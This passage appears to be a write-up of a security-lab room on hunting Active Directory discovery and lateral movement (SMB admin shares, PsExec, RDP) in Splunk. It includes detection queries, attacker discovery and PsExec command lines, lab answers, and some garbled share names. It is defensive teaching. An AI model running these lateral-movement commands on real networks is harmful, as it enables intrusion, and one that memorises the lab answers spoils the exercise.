<td>Get-ADGroupMember "Domain Admins"</td>
<td>Admin group members via PowerShell</td>
</tr>
<tr>
<td>PowerShell</td>
<td>Get-ADComputer -Filter *</td>
<td>All computer accounts in the domain</td>
</tr>
</tbody></table>
<p>None of these commands requires admin privileges. Active Directory grants read access to all authenticated domain users by default, which means any compromised account, even one belonging to a marketing or HR user, can enumerate every user, group, trust, and machine in the domain. This is by design, not a misconfiguration, and it's one of the reasons lateral movement planning might sometimes be easy for attackers.</p>
<p>The table above covers the most common built-in commands. Also, attackers use third-party tools like <strong>adfind.exe</strong> (heavily used by ransomware groups like Conti and FIN7), <strong>dsquery</strong>, and PowerShell's <strong>[System.DirectoryServices.DirectorySearcher]</strong> class for raw LDAP queries.</p>
<p>Volt Typhoon, the Chinese state-sponsored group, is known for this exact approach. CISA advisory AA24-038A(opens in new tab) documents their heavy use of commands like <strong>net user</strong>, <strong>nltest</strong>, <strong>netsh</strong>, and <strong>wmic</strong> for discovery, a technique known as "living off the land" (LOTL). Native commands don't trigger antivirus and blend in with normal administrative activity, which is exactly why they work.</p>
<h3>Detecting Discovery With Sysmon and PowerShell Logs We detect these commands through two log sources:</h3>
<p>Sysmon Event 1 captures process creation, where the CMD/PowerShell commands appear in the command line. PowerShell Event 4104 captures Script Block Logging, which records the PowerShell commands and cmdlets executed.</p>
<h3>Scenario</h3>
<p>Let's say we want to investigate or hunt for Windows built-in discovery commands in our environment. We would start with Sysmon Event 1 to see what commands were executed:</p>
<pre><code class="language-shell">index=win EventCode=1 | search CommandLine IN ("nltest", "net * user", "net * group", "net * view", "net * localgroup") | table _time, host, User, Image, CommandLine, ParentImage | sort _time 
</code></pre>
<p>Sysmon Event 1 query results showing discovery commands executed on THM-MKT-WS</p>
<p>The results show when the commands ran, what host they were executed on, and the User who ran them. The CommandLine field reveals what commands the attacker executed and what information they were after.</p>
<p>Seeing discovery commands executed on a workstation that isn't expected to have them executed in a specific time frame is highly likely to indicate malicious discovery activity. And always remember that "context is everything".</p>
<p>We can apply the same idea here for PowerShell-based discovery, but by filtering for Event 4104 (Script Block Logging) captures PowerShell cmdlets:</p>
<pre><code class="language-shell">index=win EventCode=4104 | search Message IN ("Get-ADUser", "Get-ADGroupMember", "Get-ADComputer") 
| table _time, Message 
| sort _time
</code></pre>
<p>Splunk results for PowerShell Script Block Logging Event 4104 showing Get-ADUser and Get-ADGroupMember cmdlets</p>
<p>The Message field captures the full script block content, including the cmdlet and all its parameters.</p>
<h3>Script Block Logging</h3>
<p>Script Block Logging can generate a high volume of events, so some organizations enable it only on high-value targets or during active investigations. If it's not available, we can fall back to Sysmon process creation events (Event ID 1) or Windows Security process creation events (Event ID 4688) with command-line auditing enabled. The tradeoff is that Sysmon and 4688 capture the powershell.exe process launch, but if an attacker runs cmdlets interactively within a session, each individual cmdlet won't generate a separate process creation event. Script Block Logging captures every command inside the session, regardless.</p>
<p>Tip: Attackers sometimes encode or obfuscate discovery commands to evade detection rules. Base64-encoded PowerShell (powershell -enc ...) or cmd.exe character escaping still generates a Sysmon Event 1 for the process creation, though the CommandLine may show the encoded form. Script Block Logging is more resilient here because PowerShell logs the decoded script block after it is processed.</p>
<p><strong>On the Splunk instance, investigate the discovery activity and answer the following questions.</strong></p>
<h3>Answer the questions below</h3>
<p>What is the first discovery command the attacker executed? Note: The command has an extra whitespace; ensure you copy as it appears in Splunk. <code>nltest /domain_trusts</code></p>
<pre><code class="language-shell">index=win EventCode=1 | search CommandLine IN ("nltest", "net * user", "net * group", "net * view", "net * localgroup") | table _time, host, User, Image, CommandLine, ParentImage | sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/9b36faea-5fae-42f0-a69e-fc6d0afd9b9e.png" alt="" style="display:block;margin:0 auto" />

<p>What is the full PowerShell command used to enumerate domain users?</p>
<p><code>Import-Module ActiveDirectory; Get-ADUser -Filter * -Properties MemberOf | Select-Object Name, SamAccountName</code></p>
<pre><code class="language-shell">index=win 4104
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/e5830af8-0c2a-4d55-a815-2621757ce050.png" alt="" style="display:block;margin:0 auto" />

<h2>How Lateral Movement Works</h2>
<p>Now that we've seen the discovery phase, let's talk about what happens after the attacker has mapped out the network. They know which servers exist, which accounts have admin rights, and which machines are worth targeting. Their next step is to move to those targets so they can get closer to what they actually want, whether that's the Domain Controller, a database server, or a file share containing sensitive data.</p>
<p>Every lateral movement technique follows the same basic pattern, where the attacker authenticates to a remote machine using stolen or misused credentials, then executes something on it. The technique might differ, but that authenticate-then-execute sequence is always there.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68d2c1e7ab94268f6271de1d/room-content/68d2c1e7ab94268f6271de1d-1773239596071.svg" alt="Diagram showing the authenticate-then-execute pattern of lateral movement after the discovery phase" style="display:block;margin:0 auto" />

<h2><strong>The Source and Destination Model</strong></h2>
<p>Every remote connection creates artifacts on two machines:</p>
<ul>
<li><p>One is the source, where the attacker initiates the connection. It also only sees which credentials were used and which target was chosen.</p>
</li>
<li><p>The other is the destination, where the session lands and the action happens. The destination sees that someone connected and what they did.</p>
</li>
</ul>
<p>If we only check the destination, we know the attack happened, but might not know where it originated. If we only check the source, we know the intent but not whether it succeeded.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68d2c1e7ab94268f6271de1d/room-content/68d2c1e7ab94268f6271de1d-1773241297074.svg" alt="Source and destination artifact model showing Event 4648 on the source machine and Event 4624 plus Event 5140 on the destination" style="display:block;margin:0 auto" />

<h2><strong>Logon Type: The First Thing to Check</strong></h2>
<p>When someone connects to a remote machine, Windows logs Event 4624 on the destination. The <code>Logon_Type</code> field tells us how they connected.</p>
<table>
<thead>
<tr>
<th><strong>Logon Type</strong></th>
<th><strong>Meaning</strong></th>
<th><strong>Common Protocol</strong></th>
<th><strong>What It Tells Us</strong></th>
</tr>
</thead>
<tbody><tr>
<td>3</td>
<td>Network logon</td>
<td>SMB, PsExec</td>
<td>Remote access without an interactive session</td>
</tr>
<tr>
<td>7</td>
<td>Unlock/Reconnect</td>
<td>RDP</td>
<td>Session reconnect or workstation unlock</td>
</tr>
<tr>
<td>10</td>
<td>RemoteInteractive</td>
<td>RDP</td>
<td>Full desktop session</td>
</tr>
</tbody></table>
<p>Type 10 is straightforward because it always means RDP. Type 3 is trickier because SMB and PsExec both generate Type 3 logons, so we need additional artifacts to tell them apart. We'll cover those in the upcoming tasks.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765213861" alt="" style="display:block;margin:0 auto" />

<p><strong>Note</strong>: If an attacker connects via RDP while the same account already has an active or disconnected session on that host, Windows reconnects them to the existing session instead of creating a new one. This generates a Type 7 (Unlock) logon instead of Type 10. During an investigation, if we see a Type 7 with a remote IP address (not <code>127.0.0.1</code>), that indicates an RDP reconnection, not a physical workstation unlock. Keep this in mind when searching for RDP activity: filtering only for <code>Logon_Type=10</code> will miss these reconnections. Also note that a reconnection assigns a new <code>Logon_ID</code> even though the RDP session itself persists, so <code>Logon_ID</code>-based correlation can break at disconnect/reconnect boundaries.</p>
<p><strong>Event 4648: Tracing the Source</strong></p>
<p>Event 4648 (Logon Using Explicit Credentials) fires on the <strong>source</strong> machine when a process uses credentials other than those of the currently logged-in user.</p>
<p>For example, as shown in the screenshot below, if <code>liam.patel</code> runs <code>net use \\THM-SHR-SRV\ADMIN$ /user:luke.sullivan</code>, Event 4648 is logged on <code>THM-MKT-WS</code> and records the original account (<code>liam.patel</code>), the alternate account (<code>luke.sullivan</code>), and the target server name (<code>THM-SHR-SRV</code>).</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773112156899" alt="Event 4648 showing explicit credential usage with original account liam.patel and alternate account luke.sullivan" style="display:block;margin:0 auto" />

<p>This tells us directly which machine initiated the connection and what credentials were used. Most destination-side logs only show who connected, not who was sitting at the keyboard when the event occurred.</p>
<p>Sysmon Event 1 (Process Creation) also captures the <code>net.exe</code> process with the full command line, including the target server and the account specified in the <code>/user:</code> flag and the password.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773112157907" alt="Sysmon Event 1 showing net use command with target server, account, and password in the CommandLine field" style="display:block;margin:0 auto" />

<p>Together, these two source-side events provide better context for the same activity.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765214579" alt="" style="display:block;margin:0 auto" />

<p><strong>Warning</strong>: Event 4648 only fires when credentials are explicitly provided, such as with <code>net use /user:</code>, <code>runas</code>, or entering credentials in an RDP dialog. It doesn't fire for Pass-the-Hash, Pass-the-Ticket, or Kerberos single sign-on, because those techniques reuse cached credentials without explicitly providing them.</p>
<h2><strong>Normal vs Suspicious: Same Events, Different Context</strong></h2>
<p>A legitimate admin session and an attacker's lateral movement generate the same Event IDs. Both produce Event 4624, both can generate Event 4648, and both are "successful authentication to a remote host." What separates them is context.</p>
<table>
<thead>
<tr>
<th><strong>Factor</strong></th>
<th><strong>Likely Legitimate</strong></th>
<th><strong>Worth Investigating</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Source</td>
<td>IT admin workstation (THM-IT-DESK)</td>
<td>Marketing workstation (THM-MKT-WS)</td>
</tr>
<tr>
<td>Account</td>
<td>luke.sullivan (IT admin)</td>
<td>michelle.smith accessing admin shares</td>
</tr>
<tr>
<td>Time</td>
<td>Business hours</td>
<td>2 AM on a Saturday</td>
</tr>
<tr>
<td>Target</td>
<td>Servers the admin normally manages</td>
<td>Workstation-to-workstation connections</td>
</tr>
<tr>
<td>Pattern</td>
<td>Single server, sustained session</td>
<td>Rapid connections to many servers</td>
</tr>
</tbody></table>
<p>We'll apply this concept of checking context around events throughout the rest of this room.</p>
<h2><strong>Why Lateral Movement Succeeds</strong></h2>
<p>Lateral movement mainly works because of common misconfigurations:</p>
<ul>
<li><p>Password reuse across local admin accounts means that a compromised credential can unlock many machines (Microsoft LAPS is designed to prevent this)</p>
</li>
<li><p>Shared administrative accounts</p>
</li>
<li><p>Overly permissive group memberships</p>
</li>
<li><p>Bad network segmentation between hosts</p>
</li>
<li><p>Leaving RDP enabled on machines that don't need it widens the attack surface</p>
</li>
</ul>
<p>A single compromised credential can unlock an entire network when these misconfigurations exist. Detection is important, but hardening the environment to limit where credentials can be used is just as valuable.</p>
<h3>Answer the questions below</h3>
<p>What Logon Type in Event 4624 indicates a remote desktop session? <code>10</code></p>
<p>What Event ID, logged on the source system, records when a process uses alternate credentials to connect to a remote resource? <code>4648</code></p>
<h2>Detecting SMB Lateral Movement</h2>
<p>SMB is the most common protocol used for lateral movement, and it's also the noisiest. Every time someone maps a network drive, opens a shared document, or prints to a network printer, SMB is involved. Group Policy updates and backup agents generate constant SMB traffic. There's a lot of legitimate SMB activity on any network, which is exactly why attackers like using it.</p>
<h3>Admin Shares</h3>
<p>Windows systems maintain default <strong>Administrative Shares</strong> (<strong>C\(, ADMIN\), IPC$</strong>) created by the <strong>Server service</strong> at boot. These shares leverage the <strong>SMB protocol</strong> (Port 445) to allow remote management:</p>
<ul>
<li><p><strong>C\(</strong>: Maps to the root of the system drive; additional drives follow the same pattern (<strong>D\), E$,</strong> etc.).</p>
</li>
<li><p><strong>ADMIN$</strong>: Points to <strong>%SystemRoot%</strong> (typically <strong>C:\Windows</strong>).</p>
</li>
<li><p><strong>IPC$</strong>: A logical share for Inter-Process Communication via named pipes, essential for remote RPC calls.  </p>
<p>Accessing these shares usually triggers two events: Event 5140 (A network share object was accessed) and Event 4624 (An account was successfully logged on).</p>
</li>
</ul>
<p>Regular users don't access these during normal work. They use named shares like Marketing, Shared, or IT. When we see admin share access, it's either an administrator doing maintenance or an attacker moving laterally.</p>
<p><strong>Earth Kurma</strong>, an APT group documented by <a href="https://www.trendmicro.com/en_us/research/25/d/earth-kurma-apt-campaign.html">Trend Micro in 2025</a>(opens in new tab), used admin shares extensively during their campaigns across Southeast Asian government networks. They authenticated with stolen credentials via <strong>net use \target\c$</strong>, copied malware to the target, then created remote services with <strong>sc</strong> to execute payloads, all through built-in Windows tools and SMB.</p>
<p>Splunk results showing admin share access via Event 5140 with source address, account, and share name</p>
<h2>Investigating Suspicious Admin Share Access</h2>
<h3>Investigating Event 5140 File Share Access</h3>
<p>Let's start by checking which sensitive shares were accessed from workstation IPs and which accounts were used:</p>
<pre><code class="language-shell">index=win EventCode=5140 Share_Name IN ("\ADMIN\(*", "\C\)*") | table _time, host, Source_Address, user, Share_Name | sort _time 
</code></pre>
<p>Splunk query results for Event 5140 filtering ADMIN\( and C\) share access showing host, source address, user, and share name</p>
<p>Event 5140 gives us everything we need in a single event:</p>
<ul>
<li><p>The <strong>host</strong> shows which server was targeted</p>
</li>
<li><p>The <strong>Source_Address</strong> shows where the connection came from</p>
</li>
<li><p>The <strong>user</strong> field shows which credentials were used</p>
</li>
<li><p>The <strong>Share_Name</strong> shows which admin share was accessed  </p>
<p>The results show an account accessing <strong>ADMIN\(</strong> on multiple servers from a single IP. A single source IP accessing <strong>ADMIN\)</strong> on multiple servers and workstations is a strong lateral movement indicator, especially if the source workstation isn't one that normally does that.</p>
</li>
</ul>
<p>But how do we know this is actually suspicious? Let's check the baseline activity for that user.</p>
<h3>Understanding Baseline Activity</h3>
<p>To determine if this activity is suspicious, we need to compare it against what this user normally does. Let's look at all share access for this user:</p>
<p>Replace <code>{USER_ACCOUNT}</code> with the user you identified from the share access events.</p>
<pre><code class="language-shell">index=win EventCode=5140 user={USER_ACCOUNT} 
| table _time, Source_Address, Share_Name, host 
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773112160953" alt="Splunk baseline query showing normal share access pattern for the user compared to suspicious ADMIN$ access" style="display:block;margin:0 auto" />

<p>Normally, this is an IT user who only accesses the IT share from their <strong>THM-IT-DESK</strong> workstation (<strong>10.5.50.10</strong>). On the other hand, seeing the same user accessing multiple <strong>ADMIN$</strong> shares of different machines in a short time frame from a single IP not associated with this user's normal activity is a strong indicator of malicious activity.</p>
<h3>Tracing Back Activity to the Source</h3>
<p>Now that we've confirmed the share access is suspicious, we need to investigate the source machine. We have the <strong>Source_Address</strong> IP, but we need the hostname to pivot our investigation on that machine.</p>
<p>In Active Directory, every computer authenticates with a <strong>machine account</strong> that matches its hostname and ends with <strong>$</strong>. We can use this to map any IP to its hostname by searching for Event 4624 logons from that IP:</p>
<p>Replace <code>{SOURCE_IP}</code> with the <code>Source_Address</code> from the share access events.</p>
<pre><code class="language-shell">index=win EventCode=4624 Source_Network_Address={SOURCE_IP} user=*$ 
| stats count by user, Source_Network_Address 
| sort -count
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773675528154" alt="Event 4624 machine account query results showing the hostname mapped to the source IP address" style="display:block;margin:0 auto" />

<p>The <code>user</code> ending with <code>\(</code> reveals the machine's hostname. Drop the <code>\)</code> suffix and you have the hostname to use in the next queries.</p>
<h3>Finding the Commands on the Source</h3>
<p>The source hostname tells us something important. From the baseline, we know this user is an IT admin who normally works from <code>THM-IT-DESK</code>. But their credentials are being used from a completely different machine, a marketing workstation. An IT admin has no reason to be logged into that workstation, which means someone on that machine likely has this user's credentials and is using them for lateral movement. We need to pivot to the source machine and find out who was actually at the keyboard.</p>
<p>Since we're investigating <code>ADMIN\(</code> access, we search Sysmon Event 1 (Process Create) on the source machine for any process that references <code>ADMIN\)</code> in its command line:</p>
<p>Replace <code>{SOURCE_HOST}</code> with the hostname identified above.</p>
<pre><code class="language-shell">index=win EventCode=1 host={SOURCE_HOST} CommandLine="ADMIN$" 
| table _time, User, Image, CommandLine 
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773675528767" alt="Sysmon Event 1 results showing commands referencing ADMIN$ on the source host with user and full command line" style="display:block;margin:0 auto" />

<p>Now we can see the actual commands, the tool used to access the shares, the <code>User</code> who ran them, and the credentials in the <code>CommandLine</code>.</p>
<p>The <code>User</code> field shows who was sitting at the keyboard, while the <code>CommandLine</code> reveals the compromised credentials they used. These are two different accounts, which is a key indicator of credential misuse.</p>
<p>If we search for Event 4648 (Explicit Credential Usage) on the source machine, we'll find a corresponding event for each share connection, confirming the same alternate credentials were used against each target server. This is the source-side counterpart to the Event 5140 share access we found on the destinations.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765215788" alt="" style="display:block;margin:0 auto" />

<p><strong>Tip</strong>: The <code>net use</code> command is just one way attackers access admin shares. C2 frameworks like Cobalt Strike and Metasploit have built-in SMB modules that connect to shares without spawning <code>net.exe</code>, meaning they won't generate Sysmon Event 1 process creation events. In those cases, Event 4648 on the source machine can still reveal which credentials were used and which servers were targeted, even when the command itself doesn't appear in process creation logs. Event 5140 on the destination side also still fires regardless of how the connection was made.</p>
<p><strong>On the Splunk instance, investigate the SMB admin share access using the Security logs.</strong></p>
<h3>Answer the questions below</h3>
<p>What account was used to access the ADMIN$ shares? <code>luke.sullivan</code></p>
<pre><code class="language-shell">index=win EventCode=5140 Share_Name IN ("\ADMIN\(*", "\C\)*") 
| table _time, host, Source_Address, user, Share_Name 
| sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/10238781-9a3f-426f-a101-52d2b8f61081.png" alt="" style="display:block;margin:0 auto" />

<p>Which user account was responsible for executing the lateral movement commands?<code>michelle.smith</code></p>
<pre><code class="language-shell">index=win EventCode=4624 10.5.50.12 | stats count by user, Source_Network_Address | sort -count
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/a1822cf1-3320-4ab2-b1ce-a9db5493fc3c.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/0a060c03-084b-4e3c-8872-349f06255a67.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/61f08f4d-bd84-4597-9be9-008c8519c450.png" alt="" style="display:block;margin:0 auto" />

<h2>Detecting PsExec Lateral Movement</h2>
<p>In the previous task, we looked at raw admin share access through <code>net use</code>. That approach lets an attacker copy files and browse directories remotely, but it doesn't execute anything on the target. PsExec changes that. It's a Sysinternals tool that combines SMB admin share access with Windows service installation to run commands on remote systems.</p>
<p>It's worth understanding how PsExec works under the hood, because it leaves a very specific trail of artifacts. Even when attackers rename the binary, the underlying behavior stays the same.</p>
<h2><strong>How PsExec Works</strong></h2>
<p>When an attacker already has an authenticated SMB session (via <code>net use</code>) and runs <code>PsExec.exe \\target cmd.exe</code>, the following happens:</p>
<ol>
<li><p>PsExec connects to the target's <code>ADMIN$</code> share over SMB</p>
</li>
<li><p>It copies a service binary (<code>PSEXESVC.exe</code>) to the target's <code>C:\Windows</code> directory</p>
</li>
<li><p>It creates and starts a new Windows service on the target (System Event 7045)</p>
</li>
<li><p>The service creates named pipes for <code>stdin</code>/<code>stdout</code>/<code>stderr</code> communication (Sysmon Event 17)</p>
</li>
<li><p>That service executes whatever command the attacker specified</p>
</li>
<li><p>When the session ends, PsExec removes the service and cleans up the binary</p>
</li>
</ol>
<p>Event 7045 (A New Service Was Installed) in the System log is the signature artifact for PsExec, logged on the <strong>destination</strong> machine. This is what distinguishes PsExec from plain SMB access.</p>
<p>The diagram below shows exactly this sequence.</p>
<img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/68d2c1e7ab94268f6271de1d/room-content/68d2c1e7ab94268f6271de1d-1773241368601.svg" alt="PsExec execution flow from source machine to target, showing ADMIN$ share access, service binary copy, and service installation" style="display:block;margin:0 auto" />

<h2><strong>Why Attackers Use PsExec</strong></h2>
<p>PsExec is a legitimate administration tool. Sysadmins use it daily to push patches, run scripts, and troubleshoot remote machines. From a protocol perspective, PsExec traffic appears identical to normal SMB administration traffic. The only difference is context: which account, from which machine, at what time, and how it was used.</p>
<p><strong>Wizard Spider</strong>, the group behind Ryuk and Conti ransomware, used PsExec extensively for deployment. In incidents documented by <a href="https://redcanary.com/threat-detection-report/techniques/windows-service/">Red Canary(opens in new tab)</a>, they would compromise one machine, harvest credentials with Mimikatz, then use PsExec to push ransomware to every reachable server in minutes. Each lateral hop created a service via <code>ADMIN$</code>, recorded by Event 7045.</p>
<h2><strong>Investigating PsExec Activity</strong></h2>
<p><strong>Detecting PsExec: Destination Side</strong></p>
<p>The destination side is where PsExec's unique signature appears. Let's check Event 7045 (service installation):</p>
<pre><code class="language-sql">index=win EventCode=7045
| table _time, host, Service_Name, Service_File_Name, Service_Type, Service_Start_Type, Service_Account
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773112162597" alt="Splunk results for Event 7045 showing PSEXESVC service installation with service name, binary path, and account" style="display:block;margin:0 auto" />

<p>In its default configuration, the service name is <code>PSEXESVC</code> and the binary path points to <code>C:\Windows\PSEXESVC.exe</code> (equivalent to <code>%SystemRoot%\PSEXESVC.exe</code>). The <code>Service_Account</code> field tells us which account the service runs under.</p>
<p>By default, PsExec runs the remote command as the authenticating user. When run with the <code>-s</code> flag, the service runs as <code>LocalSystem</code>, granting SYSTEM-level access on the target.</p>
<p><strong>What Commands Did the Attacker Run?</strong></p>
<p>Once we've identified the PsExec service through Event 7045, and the host it was created on, the next step is to find what commands the attacker actually executed through it.</p>
<p>Since <code>PSEXESVC.exe</code> is the service that spawns the attacker's remote commands, we can use process creation events (e.g., Sysmon Event 1) and filter by <code>ParentImage</code> to find processes created or commands executed by the service binary:</p>
<pre><code class="language-sql">index=win EventCode=1 host={DESTINATION_HOST} ParentImage="*PSEXESVC*"
| table _time, host, User, ParentImage, Image, CommandLine
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773675529552" alt="Sysmon Event 1 results filtered by ParentImage showing commands executed remotely through the PsExec service" style="display:block;margin:0 auto" />

<p>The <code>ParentImage</code> field shows which process spawned each command. By filtering for <code>PSEXESVC</code>, we see only the commands that were executed remotely through PsExec.</p>
<p><strong>Named Pipe Artifacts (Sysmon Event 17)</strong></p>
<p>PsExec uses named pipes to relay <code>stdin</code>, <code>stdout</code>, and <code>stderr</code> between the source and destination. Sysmon Event 17 (Pipe Created) captures these on the destination:</p>
<pre><code class="language-sql">index=win EventCode=17 Image="*PSEXESVC*"
| table _time, host, Image, PipeName
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773675530254" alt="Sysmon Event 17 results showing PsExec named pipes with stdin, stdout, and stderr pipe names" style="display:block;margin:0 auto" />

<p>PsExec creates pipes with names like <code>\PSEXESVC-&lt;hostname&gt;-&lt;pid&gt;-stdin</code>, <code>-stdout</code>, and <code>-stderr</code>. These pipe names are useful because even if an attacker renames the PsExec binary, the pipe naming convention often remains unchanged (unless they modify the source code).</p>
<p><strong>Tracing PsExec Usage with Event 5145</strong></p>
<p>We've identified the service and the commands it executed. Now we need to identify who initiated this and where they connected from.</p>
<p>Event 5145 (Detailed File Share) goes further, where it logs the specific files and objects accessed through that share, which are shown in the <code>Relative_Target_Name</code> field. For PsExec, this event is a goldmine.</p>
<p>Replace <code>{DESTINATION_HOST}</code> with the target machine that we found earlier in the investigation.</p>
<pre><code class="language-shell">index=win EventCode=5145 host={DESTINATION_HOST} Relative_Target_Name="PSEXE" 
| table _time, user, Source_Address, Share_Name, Relative_Target_Name 
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773675530969" alt="Event 5145 results showing PsExec file share access with user, source address, and relative target names including named pipes" style="display:block;margin:0 auto" />

<p>Notice that the named pipe names contain the source hostname, revealing which machine the attacker is operating from.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765215788" alt="" style="display:block;margin:0 auto" />

<p><strong>Tip</strong>: Events 5140 and 5145 require "Audit File Share" and "Audit Detailed File Share" to be explicitly enabled via Group Policy. If we search for these events during an investigation and get zero results, it doesn't necessarily mean the activity didn't happen. It may mean the audit policy isn't enabled in that environment.</p>
<p><strong>Detecting PsExec: Source Side</strong></p>
<p>Once we find the commands executed and the service name, we can easily track the source host from which PsExec was executed. Sysmon Event 1 captures the process creation with the full command line:</p>
<pre><code class="language-sql">index=win EventCode=1 host={SOURCE_HOST}
| search Image="*PsExec*"
| table _time, host, User, Image, CommandLine
| sort _time
</code></pre>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1773112165138" alt="Sysmon Event 1 on the source host showing PsExec.exe process creation with full command line" style="display:block;margin:0 auto" />

<p>The <code>CommandLine</code> field shows which target was specified and what command is being run remotely.</p>
<p>By correlating source and destination PsExec artifacts, we now have the full picture of what actually happened.</p>
<p>By correlating source and destination PsExec artifacts, we now have the full picture of what actually happened.</p>
<h3>Hunting for Renamed PsExec</h3>
<p>Attackers know that security tools look for <code>PSEXESVC</code> by name. PsExec's <code>-r</code> flag lets the operator specify a custom service name, so running <code>PsExec -r renamed_psexec \target cmd</code> creates a service called <code>renamed_psexec</code> instead of <code>PSEXESVC</code>.</p>
<p>Other tools like Impacket's <code>psexec.py</code> or Cobalt Strike's PsExec module generate random service names by default. But Event 7045 still fires regardless of the name.</p>
<p>The pattern to look for is any new service with <code>Service_Type</code> of "user mode service" and <code>Service_Start_Type</code> of "demand start." The service name and binary might differ, but the demand-start, user-mode-service signature remains.</p>
<p><strong>On the Splunk instance, investigate the PsExec lateral movement using the Sysmon and System logs.</strong></p>
<h3>Answer the questions below</h3>
<p>What was the destination host the attacker targeted via PsExec?<code>THM-SQL-SRV</code></p>
<pre><code class="language-shell">index=win EventCode=7045 | table _time, host, Service_Name, Service_File_Name, Service_Type, Service_Start_Type, Service_Account | sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/a59dc951-894f-4f99-b2c8-52ac059ed400.png" alt="" style="display:block;margin:0 auto" />

<p>What is the first command that the attacker executed from the source machine using PsExec? Note: The command has an extra whitespace; ensure you copy as it appears in Splunk.</p>
<p><code>C:\Tools\PsExec.exe -accepteula \THM-SQL-SRV cmd /c "hostname &amp; whoami &amp; ipconfig"</code></p>
<pre><code class="language-shell">index=win host=THM-SQL-SRV ParentImage="PSEXESVC" 
| table _time, host, User, ParentImage, Image, CommandLine 
| sort _time
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/badd16d9-2c1c-46c2-81f4-a2204bdbfd6a.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-shell">index=win Tools
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/14a45e36-2f66-487f-a34c-98ec0184fa8a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/5f4a98085ee1ba597542e097/a9398cd0-f75b-457c-bd68-757f4123fefb.png" alt="" style="display:block;margin:0 auto" />

<h2>Detecting RDP Lateral Movement</h2>
<p>RDP gives the attacker a full interactive desktop session, but it doesn't leave the same kind of obvious hunting artifacts as the previous techniques. There's no service installation, no share access pattern, no unique process on the destination that says "this was RDP." So we rarely start an investigation by hunting for RDP sessions directly. Instead, we usually find RDP as the delivery mechanism after something else catches our attention.</p>
<p>RDP's primary detection artifact is Event 4624 with <code>Logon_Type=10</code> (RemoteInteractive), logged on the destination. It records the account name, the source IP address, and the session timestamp. While SMB and PsExec both produce Type 3 network logons, a successful RDP session produces Type 10, making it immediately distinguishable in the Security log. However, NLA introduces a variation worth understanding, covered in the info box below.</p>
<img src="https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/68d2c1e7ab94268f6271de1d-1771765216406" alt="" style="display:block;margin:0 auto" />

<p><strong>Info</strong>: Modern Windows enables Network Level Authentication (NLA) by default. With NLA, the user authenticates at the network level before the RDP session is established, which generates a brief Type 3 logon right before the Type 10. If we see a Type 3 from the same source IP appearing seconds before a Type 10, that's the NLA prelude, not a separate SMB or PsExec connection. The lab environment in this room has NLA enabled, so you may see these Type 3 events alongside the Type 10 logons in your query results.</p>
<p><strong>BlackSuit</strong> (the successor to Royal ransomware, covered in the updated <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a">CISA advisory AA23-061A(opens in new tab)</a>) relies on RDP as a primary lateral movement method. According to the FBI, BlackSuit actors combine RDP, PsExec, and SMB to move through victim networks and, in one confirmed case, used a legitimate admin account to reach the domain controller directly.</p>
<h2><strong>Normal vs Suspicious RDP Traffic</strong></h2>
<p>Before we start investigating, it helps to have a mental model for which RDP connections are normal and which ones should raise questions. The direction of the connection matters:</p>
<table>
<thead>
<tr>
<th><strong>Pattern</strong></th>
<th><strong>Typical?</strong></th>
<th><strong>Why</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Workstation → Server</td>
<td>Yes</td>
<td>IT admins RDP from their workstations to manage servers. This is the standard pattern.</td>
</tr>
<tr>
<td>Workstation → Workstation</td>
<td>Rare</td>
<td>Regular users don't RDP into each other's machines. Helpdesk might, but only from designated IT workstations.</td>
</tr>
<tr>
<td>Server → Server</td>
<td>Suspicious</td>
